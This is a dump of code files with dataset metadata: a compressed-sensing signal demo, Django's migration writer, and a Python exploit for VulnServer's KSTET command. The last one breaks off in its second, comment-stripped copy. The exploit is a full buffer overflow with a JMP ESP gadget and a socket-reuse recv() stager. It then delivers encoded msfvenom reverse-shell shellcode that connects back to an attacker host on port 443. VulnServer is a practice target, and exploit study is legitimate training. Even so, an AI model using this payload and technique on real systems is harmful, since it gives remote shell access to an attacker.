xo = np.sin(2 * np.pi * f1 * t) + np.sin(2 * np.pi * f2 * t) + \
np.sin(2 * np.pi * f3 * t)
x = np.abs(np.fft.fftshift(np.fft.fft(xo)))
f = np.linspace(-Fs / 2, Fs / 2, Ns)
CR = 4
k1 = 2
k2 = 4
k3 = 6
k4 = 100
alpha = 0.0
N = np.size(x)
M = int(N / CR)
A = pys.gaussian((M, N))
# A = np.ones((M, N))
y = np.matmul(A, x)
x1 = pys.romp(y, A, k=k1, alpha=alpha, verbose=False)
x2 = pys.romp(y, A, k=k2, alpha=alpha, verbose=False)
x3 = pys.romp(y, A, k=k3, alpha=alpha, verbose=False)
x4 = pys.romp(y, A, k=k4, alpha=alpha, verbose=False)
print("---MSE(x, x1) with k = " + str(k1) + ": ", pys.mse(x, x1))
print("---MSE(x, x2) with k = " + str(k2) + ": ", pys.mse(x, x2))
print("---MSE(x, x3) with k = " + str(k3) + ": ", pys.mse(x, x3))
print("---MSE(x, x4) with k = " + str(k4) + ": ", pys.mse(x, x4))
plt.figure()
plt.subplot(121)
plt.plot(t, xo)
plt.xlabel('Time/s')
plt.ylabel('Amplitude')
plt.title('Orignal Signal (Time domain)')
plt.grid()
plt.subplot(122)
plt.plot(f, x)
plt.xlabel('Frequency/Hz')
plt.ylabel('Amplitude')
plt.title('Orignal Signal (frequency domain)')
plt.grid()
plt.tight_layout()
plt.show()
plt.figure()
plt.subplot(221)
plt.plot(f, x1)
plt.xlabel('Frequency/Hz')
plt.ylabel('Amplitude')
plt.title('Reconstructed Signal (k=' + str(k1) + ')')
plt.grid()
plt.subplot(222)
plt.plot(f, x2)
plt.xlabel('Frequency/Hz')
plt.ylabel('Amplitude')
plt.title('Reconstructed Signal (k=' + str(k2) + ')')
plt.grid()
plt.subplot(223)
plt.plot(f, x3)
plt.xlabel('Frequency/Hz')
plt.ylabel('Amplitude')
plt.title('Reconstructed Signal (k=' + str(k3) + ')')
plt.grid()
plt.subplot(224)
plt.plot(f, x4)
plt.xlabel('Frequency/Hz')
plt.ylabel('Amplitude')
plt.title('Reconstructed Signal (k=' + str(k4) + ')')
plt.grid()
plt.tight_layout()
plt.show()
| 20.68932 | 65 | 0.613327 |
import numpy as np
import pysparse as pys
import matplotlib.pyplot as plt
Fs = 2000
Ts = 1
Ns = int(Ts * Fs)
f1 = 100
f2 = 200
f3 = 700
t = np.linspace(0, Ts, Ns)
xo = np.sin(2 * np.pi * f1 * t) + np.sin(2 * np.pi * f2 * t) + \
np.sin(2 * np.pi * f3 * t)
x = np.abs(np.fft.fftshift(np.fft.fft(xo)))
f = np.linspace(-Fs / 2, Fs / 2, Ns)
CR = 4
k1 = 2
k2 = 4
k3 = 6
k4 = 100
alpha = 0.0
N = np.size(x)
M = int(N / CR)
A = pys.gaussian((M, N))
y = np.matmul(A, x)
x1 = pys.romp(y, A, k=k1, alpha=alpha, verbose=False)
x2 = pys.romp(y, A, k=k2, alpha=alpha, verbose=False)
x3 = pys.romp(y, A, k=k3, alpha=alpha, verbose=False)
x4 = pys.romp(y, A, k=k4, alpha=alpha, verbose=False)
print("---MSE(x, x1) with k = " + str(k1) + ": ", pys.mse(x, x1))
print("---MSE(x, x2) with k = " + str(k2) + ": ", pys.mse(x, x2))
print("---MSE(x, x3) with k = " + str(k3) + ": ", pys.mse(x, x3))
print("---MSE(x, x4) with k = " + str(k4) + ": ", pys.mse(x, x4))
plt.figure()
plt.subplot(121)
plt.plot(t, xo)
plt.xlabel('Time/s')
plt.ylabel('Amplitude')
plt.title('Orignal Signal (Time domain)')
plt.grid()
plt.subplot(122)
plt.plot(f, x)
plt.xlabel('Frequency/Hz')
plt.ylabel('Amplitude')
plt.title('Orignal Signal (frequency domain)')
plt.grid()
plt.tight_layout()
plt.show()
plt.figure()
plt.subplot(221)
plt.plot(f, x1)
plt.xlabel('Frequency/Hz')
plt.ylabel('Amplitude')
plt.title('Reconstructed Signal (k=' + str(k1) + ')')
plt.grid()
plt.subplot(222)
plt.plot(f, x2)
plt.xlabel('Frequency/Hz')
plt.ylabel('Amplitude')
plt.title('Reconstructed Signal (k=' + str(k2) + ')')
plt.grid()
plt.subplot(223)
plt.plot(f, x3)
plt.xlabel('Frequency/Hz')
plt.ylabel('Amplitude')
plt.title('Reconstructed Signal (k=' + str(k3) + ')')
plt.grid()
plt.subplot(224)
plt.plot(f, x4)
plt.xlabel('Frequency/Hz')
plt.ylabel('Amplitude')
plt.title('Reconstructed Signal (k=' + str(k4) + ')')
plt.grid()
plt.tight_layout()
plt.show()
| true | true |
f73c4b78a0f9899063a7f5859ee907dab1025349 | 13,700 | py | Python | django/db/migrations/writer.py | xavfernandez/django | daaeb8415823444a9020460cf825efc3fae866a2 | [
"BSD-3-Clause"
] | null | null | null | django/db/migrations/writer.py | xavfernandez/django | daaeb8415823444a9020460cf825efc3fae866a2 | [
"BSD-3-Clause"
] | null | null | null | django/db/migrations/writer.py | xavfernandez/django | daaeb8415823444a9020460cf825efc3fae866a2 | [
"BSD-3-Clause"
] | null | null | null | from __future__ import unicode_literals
import datetime
import inspect
import decimal
import collections
from importlib import import_module
import os
import sys
import types
from django.apps import apps
from django.db import models
from django.db.migrations.loader import MigrationLoader
from django.utils import datetime_safe, six
from django.utils.encoding import force_text
from django.utils.functional import Promise
class SettingsReference(str):
"""
Special subclass of string which actually references a current settings
value. It's treated as the value in memory, but serializes out to a
settings.NAME attribute reference.
"""
def __new__(self, value, setting_name):
return str.__new__(self, value)
def __init__(self, value, setting_name):
self.setting_name = setting_name
class OperationWriter(object):
indentation = 2
def __init__(self, operation):
self.operation = operation
self.buff = []
def serialize(self):
imports = set()
name, args, kwargs = self.operation.deconstruct()
argspec = inspect.getargspec(self.operation.__init__)
normalized_kwargs = inspect.getcallargs(self.operation.__init__, *args, **kwargs)
self.feed('migrations.%s(' % name)
self.indent()
for arg_name in argspec.args[1:]:
arg_value = normalized_kwargs[arg_name]
if (arg_name in self.operation.serialization_expand_args and
isinstance(arg_value, (list, tuple, dict))):
if isinstance(arg_value, dict):
self.feed('%s={' % arg_name)
self.indent()
for key, value in arg_value.items():
key_string, key_imports = MigrationWriter.serialize(key)
arg_string, arg_imports = MigrationWriter.serialize(value)
self.feed('%s: %s,' % (key_string, arg_string))
imports.update(key_imports)
imports.update(arg_imports)
self.unindent()
self.feed('},')
else:
self.feed('%s=[' % arg_name)
self.indent()
for item in arg_value:
arg_string, arg_imports = MigrationWriter.serialize(item)
self.feed('%s,' % arg_string)
imports.update(arg_imports)
self.unindent()
self.feed('],')
else:
arg_string, arg_imports = MigrationWriter.serialize(arg_value)
self.feed('%s=%s,' % (arg_name, arg_string))
imports.update(arg_imports)
self.unindent()
self.feed('),')
return self.render(), imports
def indent(self):
self.indentation += 1
def unindent(self):
self.indentation -= 1
def feed(self, line):
self.buff.append(' ' * (self.indentation * 4) + line)
def render(self):
return '\n'.join(self.buff)
class MigrationWriter(object):
"""
Takes a Migration instance and is able to produce the contents
of the migration file from it.
"""
def __init__(self, migration):
self.migration = migration
def as_string(self):
"""
Returns a string of the file contents.
"""
items = {
"replaces_str": "",
}
imports = set()
# Deconstruct operations
operations = []
for operation in self.migration.operations:
operation_string, operation_imports = OperationWriter(operation).serialize()
imports.update(operation_imports)
operations.append(operation_string)
items["operations"] = "\n".join(operations) + "\n" if operations else ""
# Format dependencies and write out swappable dependencies right
dependencies = []
for dependency in self.migration.dependencies:
if dependency[0] == "__setting__":
dependencies.append(" migrations.swappable_dependency(settings.%s)," % dependency[1])
imports.add("from django.conf import settings")
else:
# No need to output bytestrings for dependencies
dependency = tuple([force_text(s) for s in dependency])
dependencies.append(" %s," % self.serialize(dependency)[0])
items["dependencies"] = "\n".join(dependencies) + "\n" if dependencies else ""
# Format imports nicely
imports.discard("from django.db import models")
items["imports"] = "\n".join(imports) + "\n" if imports else ""
# If there's a replaces, make a string for it
if self.migration.replaces:
items['replaces_str'] = "\n replaces = %s\n" % self.serialize(self.migration.replaces)[0]
return (MIGRATION_TEMPLATE % items).encode("utf8")
@property
def filename(self):
return "%s.py" % self.migration.name
@property
def path(self):
migrations_package_name = MigrationLoader.migrations_module(self.migration.app_label)
# See if we can import the migrations module directly
try:
migrations_module = import_module(migrations_package_name)
basedir = os.path.dirname(migrations_module.__file__)
except ImportError:
app_config = apps.get_app_config(self.migration.app_label)
migrations_package_basename = migrations_package_name.split(".")[-1]
# Alright, see if it's a direct submodule of the app
if '%s.%s' % (app_config.name, migrations_package_basename) == migrations_package_name:
basedir = os.path.join(app_config.path, migrations_package_basename)
else:
# In case of using MIGRATION_MODULES setting and the custom
# package doesn't exist, create one.
package_dirs = migrations_package_name.split(".")
create_path = os.path.join(sys.path[0], *package_dirs)
if not os.path.isdir(create_path):
os.makedirs(create_path)
for i in range(1, len(package_dirs) + 1):
init_dir = os.path.join(sys.path[0], *package_dirs[:i])
init_path = os.path.join(init_dir, "__init__.py")
if not os.path.isfile(init_path):
open(init_path, "w").close()
return os.path.join(create_path, self.filename)
return os.path.join(basedir, self.filename)
@classmethod
def serialize_deconstructed(cls, path, args, kwargs):
module, name = path.rsplit(".", 1)
if module == "django.db.models":
imports = set(["from django.db import models"])
name = "models.%s" % name
else:
imports = set(["import %s" % module])
name = path
strings = []
for arg in args:
arg_string, arg_imports = cls.serialize(arg)
strings.append(arg_string)
imports.update(arg_imports)
for kw, arg in kwargs.items():
arg_string, arg_imports = cls.serialize(arg)
imports.update(arg_imports)
strings.append("%s=%s" % (kw, arg_string))
return "%s(%s)" % (name, ", ".join(strings)), imports
@classmethod
def serialize(cls, value):
"""
Serializes the value to a string that's parsable by Python, along
with any needed imports to make that string work.
More advanced than repr() as it can encode things
like datetime.datetime.now.
"""
# FIXME: Ideally Promise would be reconstructible, but for now we
# use force_text on them and defer to the normal string serialization
# process.
if isinstance(value, Promise):
value = force_text(value)
# Sequences
if isinstance(value, (list, set, tuple)):
imports = set()
strings = []
for item in value:
item_string, item_imports = cls.serialize(item)
imports.update(item_imports)
strings.append(item_string)
if isinstance(value, set):
format = "set([%s])"
elif isinstance(value, tuple):
# When len(value)==0, the empty tuple should be serialized as
# "()", not "(,)" because (,) is invalid Python syntax.
format = "(%s)" if len(value) != 1 else "(%s,)"
else:
format = "[%s]"
return format % (", ".join(strings)), imports
# Dictionaries
elif isinstance(value, dict):
imports = set()
strings = []
for k, v in value.items():
k_string, k_imports = cls.serialize(k)
v_string, v_imports = cls.serialize(v)
imports.update(k_imports)
imports.update(v_imports)
strings.append((k_string, v_string))
return "{%s}" % (", ".join("%s: %s" % (k, v) for k, v in strings)), imports
# Datetimes
elif isinstance(value, datetime.datetime):
if value.tzinfo is not None:
raise ValueError("Cannot serialize datetime values with timezones. Either use a callable value for default or remove the timezone.")
value_repr = repr(value)
if isinstance(value, datetime_safe.datetime):
value_repr = "datetime.%s" % value_repr
return value_repr, set(["import datetime"])
# Dates
elif isinstance(value, datetime.date):
value_repr = repr(value)
if isinstance(value, datetime_safe.date):
value_repr = "datetime.%s" % value_repr
return value_repr, set(["import datetime"])
# Settings references
elif isinstance(value, SettingsReference):
return "settings.%s" % value.setting_name, set(["from django.conf import settings"])
# Simple types
elif isinstance(value, six.integer_types + (float, bool, type(None))):
return repr(value), set()
elif isinstance(value, six.binary_type):
value_repr = repr(value)
if six.PY2:
# Prepend the `b` prefix since we're importing unicode_literals
value_repr = 'b' + value_repr
return value_repr, set()
elif isinstance(value, six.text_type):
value_repr = repr(value)
if six.PY2:
# Strip the `u` prefix since we're importing unicode_literals
value_repr = value_repr[1:]
return value_repr, set()
# Decimal
elif isinstance(value, decimal.Decimal):
return repr(value), set(["from decimal import Decimal"])
# Django fields
elif isinstance(value, models.Field):
attr_name, path, args, kwargs = value.deconstruct()
return cls.serialize_deconstructed(path, args, kwargs)
# Anything that knows how to deconstruct itself.
elif hasattr(value, 'deconstruct'):
return cls.serialize_deconstructed(*value.deconstruct())
# Functions
elif isinstance(value, (types.FunctionType, types.BuiltinFunctionType)):
# @classmethod?
if getattr(value, "__self__", None) and isinstance(value.__self__, type):
klass = value.__self__
module = klass.__module__
return "%s.%s.%s" % (module, klass.__name__, value.__name__), set(["import %s" % module])
elif value.__name__ == '<lambda>':
raise ValueError("Cannot serialize function: lambda")
elif value.__module__ is None:
raise ValueError("Cannot serialize function %r: No module" % value)
else:
module = value.__module__
return "%s.%s" % (module, value.__name__), set(["import %s" % module])
# Classes
elif isinstance(value, type):
special_cases = [
(models.Model, "models.Model", []),
]
for case, string, imports in special_cases:
if case is value:
return string, set(imports)
if hasattr(value, "__module__"):
module = value.__module__
return "%s.%s" % (module, value.__name__), set(["import %s" % module])
# Other iterables
elif isinstance(value, collections.Iterable):
imports = set()
strings = []
for item in value:
item_string, item_imports = cls.serialize(item)
imports.update(item_imports)
strings.append(item_string)
# When len(strings)==0, the empty iterable should be serialized as
# "()", not "(,)" because (,) is invalid Python syntax.
format = "(%s)" if len(strings) != 1 else "(%s,)"
return format % (", ".join(strings)), imports
# Uh oh.
else:
raise ValueError("Cannot serialize: %r\nThere are some values Django cannot serialize into migration files.\nFor more, see https://docs.djangoproject.com/en/dev/topics/migrations/#migration-serializing" % value)
MIGRATION_TEMPLATE = """\
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
%(imports)s
class Migration(migrations.Migration):
%(replaces_str)s
dependencies = [
%(dependencies)s\
]
operations = [
%(operations)s\
]
"""
| 40.412979 | 223 | 0.579708 | from __future__ import unicode_literals
import datetime
import inspect
import decimal
import collections
from importlib import import_module
import os
import sys
import types
from django.apps import apps
from django.db import models
from django.db.migrations.loader import MigrationLoader
from django.utils import datetime_safe, six
from django.utils.encoding import force_text
from django.utils.functional import Promise
class SettingsReference(str):
def __new__(self, value, setting_name):
return str.__new__(self, value)
def __init__(self, value, setting_name):
self.setting_name = setting_name
class OperationWriter(object):
indentation = 2
def __init__(self, operation):
self.operation = operation
self.buff = []
def serialize(self):
imports = set()
name, args, kwargs = self.operation.deconstruct()
argspec = inspect.getargspec(self.operation.__init__)
normalized_kwargs = inspect.getcallargs(self.operation.__init__, *args, **kwargs)
self.feed('migrations.%s(' % name)
self.indent()
for arg_name in argspec.args[1:]:
arg_value = normalized_kwargs[arg_name]
if (arg_name in self.operation.serialization_expand_args and
isinstance(arg_value, (list, tuple, dict))):
if isinstance(arg_value, dict):
self.feed('%s={' % arg_name)
self.indent()
for key, value in arg_value.items():
key_string, key_imports = MigrationWriter.serialize(key)
arg_string, arg_imports = MigrationWriter.serialize(value)
self.feed('%s: %s,' % (key_string, arg_string))
imports.update(key_imports)
imports.update(arg_imports)
self.unindent()
self.feed('},')
else:
self.feed('%s=[' % arg_name)
self.indent()
for item in arg_value:
arg_string, arg_imports = MigrationWriter.serialize(item)
self.feed('%s,' % arg_string)
imports.update(arg_imports)
self.unindent()
self.feed('],')
else:
arg_string, arg_imports = MigrationWriter.serialize(arg_value)
self.feed('%s=%s,' % (arg_name, arg_string))
imports.update(arg_imports)
self.unindent()
self.feed('),')
return self.render(), imports
def indent(self):
self.indentation += 1
def unindent(self):
self.indentation -= 1
def feed(self, line):
self.buff.append(' ' * (self.indentation * 4) + line)
def render(self):
return '\n'.join(self.buff)
class MigrationWriter(object):
def __init__(self, migration):
self.migration = migration
def as_string(self):
items = {
"replaces_str": "",
}
imports = set()
operations = []
for operation in self.migration.operations:
operation_string, operation_imports = OperationWriter(operation).serialize()
imports.update(operation_imports)
operations.append(operation_string)
items["operations"] = "\n".join(operations) + "\n" if operations else ""
dependencies = []
for dependency in self.migration.dependencies:
if dependency[0] == "__setting__":
dependencies.append(" migrations.swappable_dependency(settings.%s)," % dependency[1])
imports.add("from django.conf import settings")
else:
dependency = tuple([force_text(s) for s in dependency])
dependencies.append(" %s," % self.serialize(dependency)[0])
items["dependencies"] = "\n".join(dependencies) + "\n" if dependencies else ""
imports.discard("from django.db import models")
items["imports"] = "\n".join(imports) + "\n" if imports else ""
if self.migration.replaces:
items['replaces_str'] = "\n replaces = %s\n" % self.serialize(self.migration.replaces)[0]
return (MIGRATION_TEMPLATE % items).encode("utf8")
@property
def filename(self):
return "%s.py" % self.migration.name
@property
def path(self):
migrations_package_name = MigrationLoader.migrations_module(self.migration.app_label)
# See if we can import the migrations module directly
try:
migrations_module = import_module(migrations_package_name)
basedir = os.path.dirname(migrations_module.__file__)
except ImportError:
app_config = apps.get_app_config(self.migration.app_label)
migrations_package_basename = migrations_package_name.split(".")[-1]
# Alright, see if it's a direct submodule of the app
if '%s.%s' % (app_config.name, migrations_package_basename) == migrations_package_name:
basedir = os.path.join(app_config.path, migrations_package_basename)
else:
package_dirs = migrations_package_name.split(".")
create_path = os.path.join(sys.path[0], *package_dirs)
if not os.path.isdir(create_path):
os.makedirs(create_path)
for i in range(1, len(package_dirs) + 1):
init_dir = os.path.join(sys.path[0], *package_dirs[:i])
init_path = os.path.join(init_dir, "__init__.py")
if not os.path.isfile(init_path):
open(init_path, "w").close()
return os.path.join(create_path, self.filename)
return os.path.join(basedir, self.filename)
@classmethod
def serialize_deconstructed(cls, path, args, kwargs):
module, name = path.rsplit(".", 1)
if module == "django.db.models":
imports = set(["from django.db import models"])
name = "models.%s" % name
else:
imports = set(["import %s" % module])
name = path
strings = []
for arg in args:
arg_string, arg_imports = cls.serialize(arg)
strings.append(arg_string)
imports.update(arg_imports)
for kw, arg in kwargs.items():
arg_string, arg_imports = cls.serialize(arg)
imports.update(arg_imports)
strings.append("%s=%s" % (kw, arg_string))
return "%s(%s)" % (name, ", ".join(strings)), imports
@classmethod
def serialize(cls, value):
# FIXME: Ideally Promise would be reconstructible, but for now we
# use force_text on them and defer to the normal string serialization
# process.
if isinstance(value, Promise):
value = force_text(value)
# Sequences
if isinstance(value, (list, set, tuple)):
imports = set()
strings = []
for item in value:
item_string, item_imports = cls.serialize(item)
imports.update(item_imports)
strings.append(item_string)
if isinstance(value, set):
format = "set([%s])"
elif isinstance(value, tuple):
# When len(value)==0, the empty tuple should be serialized as
# "()", not "(,)" because (,) is invalid Python syntax.
format = "(%s)" if len(value) != 1 else "(%s,)"
else:
format = "[%s]"
return format % (", ".join(strings)), imports
# Dictionaries
elif isinstance(value, dict):
imports = set()
strings = []
for k, v in value.items():
k_string, k_imports = cls.serialize(k)
v_string, v_imports = cls.serialize(v)
imports.update(k_imports)
imports.update(v_imports)
strings.append((k_string, v_string))
return "{%s}" % (", ".join("%s: %s" % (k, v) for k, v in strings)), imports
# Datetimes
elif isinstance(value, datetime.datetime):
if value.tzinfo is not None:
raise ValueError("Cannot serialize datetime values with timezones. Either use a callable value for default or remove the timezone.")
value_repr = repr(value)
if isinstance(value, datetime_safe.datetime):
value_repr = "datetime.%s" % value_repr
return value_repr, set(["import datetime"])
# Dates
elif isinstance(value, datetime.date):
value_repr = repr(value)
if isinstance(value, datetime_safe.date):
value_repr = "datetime.%s" % value_repr
return value_repr, set(["import datetime"])
# Settings references
elif isinstance(value, SettingsReference):
return "settings.%s" % value.setting_name, set(["from django.conf import settings"])
# Simple types
elif isinstance(value, six.integer_types + (float, bool, type(None))):
return repr(value), set()
elif isinstance(value, six.binary_type):
value_repr = repr(value)
if six.PY2:
# Prepend the `b` prefix since we're importing unicode_literals
value_repr = 'b' + value_repr
return value_repr, set()
elif isinstance(value, six.text_type):
value_repr = repr(value)
if six.PY2:
value_repr = value_repr[1:]
return value_repr, set()
# Decimal
elif isinstance(value, decimal.Decimal):
return repr(value), set(["from decimal import Decimal"])
# Django fields
elif isinstance(value, models.Field):
attr_name, path, args, kwargs = value.deconstruct()
return cls.serialize_deconstructed(path, args, kwargs)
# Anything that knows how to deconstruct itself.
elif hasattr(value, 'deconstruct'):
return cls.serialize_deconstructed(*value.deconstruct())
# Functions
elif isinstance(value, (types.FunctionType, types.BuiltinFunctionType)):
# @classmethod?
if getattr(value, "__self__", None) and isinstance(value.__self__, type):
klass = value.__self__
module = klass.__module__
return "%s.%s.%s" % (module, klass.__name__, value.__name__), set(["import %s" % module])
elif value.__name__ == '<lambda>':
raise ValueError("Cannot serialize function: lambda")
elif value.__module__ is None:
raise ValueError("Cannot serialize function %r: No module" % value)
else:
module = value.__module__
return "%s.%s" % (module, value.__name__), set(["import %s" % module])
# Classes
elif isinstance(value, type):
special_cases = [
(models.Model, "models.Model", []),
]
for case, string, imports in special_cases:
if case is value:
return string, set(imports)
if hasattr(value, "__module__"):
module = value.__module__
return "%s.%s" % (module, value.__name__), set(["import %s" % module])
# Other iterables
elif isinstance(value, collections.Iterable):
imports = set()
strings = []
for item in value:
item_string, item_imports = cls.serialize(item)
imports.update(item_imports)
strings.append(item_string)
# When len(strings)==0, the empty iterable should be serialized as
# "()", not "(,)" because (,) is invalid Python syntax.
format = "(%s)" if len(strings) != 1 else "(%s,)"
return format % (", ".join(strings)), imports
# Uh oh.
else:
raise ValueError("Cannot serialize: %r\nThere are some values Django cannot serialize into migration files.\nFor more, see https://docs.djangoproject.com/en/dev/topics/migrations/#migration-serializing" % value)
MIGRATION_TEMPLATE = """\
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
%(imports)s
class Migration(migrations.Migration):
%(replaces_str)s
dependencies = [
%(dependencies)s\
]
operations = [
%(operations)s\
]
"""
| true | true |
f73c4cacc4c2b63768bfbb372d0f64192a2c4692 | 6,495 | py | Python | kstet_recv.py | SYANiDE-/VulnServer | 1bb63fcabdc86abb1cbc2e4e38df70ce58b5e49e | [
"MIT"
] | null | null | null | kstet_recv.py | SYANiDE-/VulnServer | 1bb63fcabdc86abb1cbc2e4e38df70ce58b5e49e | [
"MIT"
] | null | null | null | kstet_recv.py | SYANiDE-/VulnServer | 1bb63fcabdc86abb1cbc2e4e38df70ce58b5e49e | [
"MIT"
] | null | null | null | #!/usr/bin/env python2
import os, sys, time
from socket import socket, AF_INET, SOCK_STREAM
host=(("192.168.56.4",9999))
NOTES = """
## located the name recv in WS2_32.dll
## POINTS TO:
71AB615A > 8BFF MOV EDI,EDI
## Set a breakpoint on the instruction it points to
## Sent the payload. Breakpoint hit.
## When WS2_32.recv is called, the stack reads:
00B6FA08 00401958 /CALL to recv from vulnserv.00401953 <--
00B6FA0C 0000007C |Socket = 7C
00B6FA10 003D4818 |Buffer = 003D4818
00B6FA14 00001000 |BufSize = 1000 (4096.)
00B6FA18 00000000 \Flags = 0
## Examining the instruction at 00401953:
CALL <JMP.&WS2_32.recv>
## right-click and "Assemble", shows the address being called:
CALL 0040252C
^^ Address to call in order to call WS2_32.recv, after setting up the stack.
## If I set a breakpoint on the CALL <JMP.&WS2_32.recv> instruction, this way I can see how the stack is set up for the call. When the breakpoint is hit, Looking at previous instructions leading to it, it shows where the socket_FD is grabbed from!
## At the breakpoint, the stack looks like this, with ESP pointing to the top value:
00B6FA0C 0000007C |Socket = 7C
00B6FA10 003D4818 |Buffer = 003D4818
00B6FA14 00001000 |BufSize = 1000 (4096.)
00B6FA18 00000000 \Flags = 0
## The two instructions before the CALL <JMP.&WS2_32.recv) instruction>:
0040194A |. 8B85 E0FBFFFF |MOV EAX,DWORD PTR SS:[EBP-420] ; |
00401950 |. 890424 |MOV DWORD PTR SS:[ESP],EAX ; |
## Which means, the sock_FD is grabbed from EBP-420 then moved into the stack @esp!
## EBP at this time is:
00B6FFB4
## EBP at the time of crash and when ready to start setting up the call stack is 41414141, so that won't work.
## But, we can add the delta between crash-time ESP and call-time EBP when CALL <JMP.&WS2_32.recv>, adding the delta to crash-time ESP, and subtract the 0x420 from that, which is where the sock_FD will be!
## recv() call-time EBP - 0x420:
## echo "ibase=16;obase=10; 00B6FFB4 - 420" |bc
## 00B6FB94 #dword ptr sock_FD
## dword ptr sock_FD - crash-time ESP:
## echo "ibase=16;obase=10; 00B6FB94 - 00B6FA0C" |bc
## 188 ## need to add this to ESP after short jump back to beginning of payload
#####################################
Based on these discoveries, the solution appears to be:
00B6F9C6 54 PUSH ESP
00B6F9C7 58 POP EAX
00B6F9C8 80EC 03 SUB AH,3
00B6F9CB 50 PUSH EAX
00B6F9CC 5C POP ESP # ^-.: grab ESP into eax, sub 256*3, mov esp,eax
00B6F9CD 8BD8 MOV EBX,EAX # dest buffer, also jmp here later.
00B6F9CF 66:05 8804 ADD AX,488 # ptr sock_FD is here!
00B6F9D3 8B08 MOV ECX,DWORD PTR DS:[EAX] # mov ECX, sock_FD!
00B6F9D5 33D2 XOR EDX,EDX
00B6F9D7 52 PUSH EDX # recv() flags!
00B6F9D8 80C6 03 ADD DH,3
00B6F9DB 52 PUSH EDX # recv size!
00B6F9DC 53 PUSH EBX # buf!
00B6F9DD 51 PUSH ECX # sock_FD!
00B6F9DE 33C0 XOR EAX,EAX
00B6F9E0 05 112C2540 ADD EAX,40252C11
00B6F9E5 C1E8 08 SHR EAX,8
00B6F9E8 FFD0 CALL EAX # ^-.: <JMP.&WS2_32.recv>
00B6F9EA FFE4 JMP ESP # buf!
""" ## End NOTES
sploit = "KSTET "
sploit += "/.:/"
# sploit += "A"*(5005-4) # crash!!!
# sploit += sys.argv[1] # ./kstet_recv.py $(`locate pattern_create.rb |head -n 1` 5001) # 41326341
# `locate pattern_offset.rb |head -n 1` 41326341 5001 # 66
sploit += (
"\x54" # PUSH ESP
"\x58" # POP EAX
"\x80\xEC\x03" # SUB AH,3
"\x50" # PUSH EAX
"\x5C" # POP ESP
"\x8B\xD8" # MOV EBX,EAX
"\x66\x05\x88\x04" # ADD AX,488
"\x8B\x08" # MOV ECX,DWORD PTR DS:[EAX]
"\x33\xD2" # XOR EDX,EDX
"\x52" # PUSH EDX
"\x80\xC6\x02" # ADD DH,2 # note: crashed wrong when bufsz = 256*3, so -1.
"\x52" # PUSH EDX
"\x53" # PUSH EBX
"\x51" # PUSH ECX
"\x33\xC0" # XOR EAX,EAX
"\x05\x11\x2c\x25\x40" # ADD EAX,40252C11
"\xC1\xE8\x08" # SHR EAX,8
"\xFF\xD0" # CALL EAX ; <JMP.&WS2_32.recv>
"\xFF\xE3" # JMP EBX
) # 38 bytes
sploit += "A"*(66-38)
# sploit += "B"*4
# 62501203 FFE4 JMP ESP
sploit += "\x03\x12\x50\x62" # jmp esp essfunc.dll # DllCharacteristics = 0x0
sploit += "\x90"*2
# echo "ibase=16;obase=10; 100-48" |bc
# B8
sploit += "\xeb\xb6" # jmp short -0x48 = 0xB8, + -2 for the two ops, = 0xb6
# sploit += "C"*(5001 - 66 - 4 - 2 - 2) # Don't really need this anymore.
stage2 = "\x90"*24
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.181 LPORT=443 EXITFUNC=thread -b "\x00" -e x86/shikata_ga_nai -i 1 -f c
stage2 += (
"\xdd\xc0\xba\x16\xf8\xbd\x27\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"
"\x4f\x83\xee\xfc\x31\x56\x15\x03\x56\x15\xf4\x0d\x41\xcf\x71"
"\xed\xba\x10\xe1\x67\x5f\x21\x33\x13\x2b\x10\x83\x57\x79\x99"
"\x68\x35\x6a\x2a\x1c\x92\x9d\x9b\xaa\xc4\x90\x1c\x1b\xc9\x7f"
"\xde\x3a\xb5\x7d\x33\x9c\x84\x4d\x46\xdd\xc1\xb0\xa9\x8f\x9a"
"\xbf\x18\x3f\xae\x82\xa0\x3e\x60\x89\x99\x38\x05\x4e\x6d\xf2"
"\x04\x9f\xde\x89\x4f\x07\x54\xd5\x6f\x36\xb9\x06\x53\x71\xb6"
"\xfc\x27\x80\x1e\xcd\xc8\xb2\x5e\x81\xf6\x7a\x53\xd8\x3f\xbc"
"\x8c\xaf\x4b\xbe\x31\xb7\x8f\xbc\xed\x32\x12\x66\x65\xe4\xf6"
"\x96\xaa\x72\x7c\x94\x07\xf1\xda\xb9\x96\xd6\x50\xc5\x13\xd9"
"\xb6\x4f\x67\xfd\x12\x0b\x33\x9c\x03\xf1\x92\xa1\x54\x5d\x4a"
"\x07\x1e\x4c\x9f\x31\x7d\x19\x6c\x0f\x7e\xd9\xfa\x18\x0d\xeb"
"\xa5\xb2\x99\x47\x2d\x1c\x5d\xa7\x04\xd8\xf1\x56\xa7\x18\xdb"
"\x9c\xf3\x48\x73\x34\x7c\x03\x83\xb9\xa9\x83\xd3\x15\x02\x63"
"\x84\xd5\xf2\x0b\xce\xd9\x2d\x2b\xf1\x33\x58\x6c\x66\x7c\xf3"
"\x4a\xc2\x14\x06\xaa\x2d\x5e\x8f\x4c\x47\xb0\xc6\xc7\xf0\x29"
"\x43\x93\x61\xb5\x59\x33\x01\x24\x06\xc3\x4c\x55\x91\x94\x19"
"\xab\xe8\x70\xb4\x92\x42\x66\x45\x42\xac\x22\x92\xb7\x33\xab"
"\x57\x83\x17\xbb\xa1\x0c\x1c\xef\x7d\x5b\xca\x59\x38\x35\xbc"
"\x33\x92\xea\x16\xd3\x63\xc1\xa8\xa5\x6b\x0c\x5f\x49\xdd\xf9"
"\x26\x76\xd2\x6d\xaf\x0f\x0e\x0e\x50\xda\x8a\x2e\xb3\xce\xe6"
"\xc6\x6a\x9b\x4a\x8b\x8c\x76\x88\xb2\x0e\x72\x71\x41\x0e\xf7"
"\x74\x0d\x88\xe4\x04\x1e\x7d\x0a\xba\x1f\x54"
) # 341
stage2 += "\xCC" * ((256*2)-24-341-1)
stage2 += "\n"
cx = socket(AF_INET,SOCK_STREAM)
cx.connect(host)
cx.send(sploit)
time.sleep(1)
cx.send(stage2)
cx.close()
| 40.849057 | 248 | 0.627868 |
import os, sys, time
from socket import socket, AF_INET, SOCK_STREAM
host=(("192.168.56.4",9999))
NOTES = """
## located the name recv in WS2_32.dll
## POINTS TO:
71AB615A > 8BFF MOV EDI,EDI
## Set a breakpoint on the instruction it points to
## Sent the payload. Breakpoint hit.
## When WS2_32.recv is called, the stack reads:
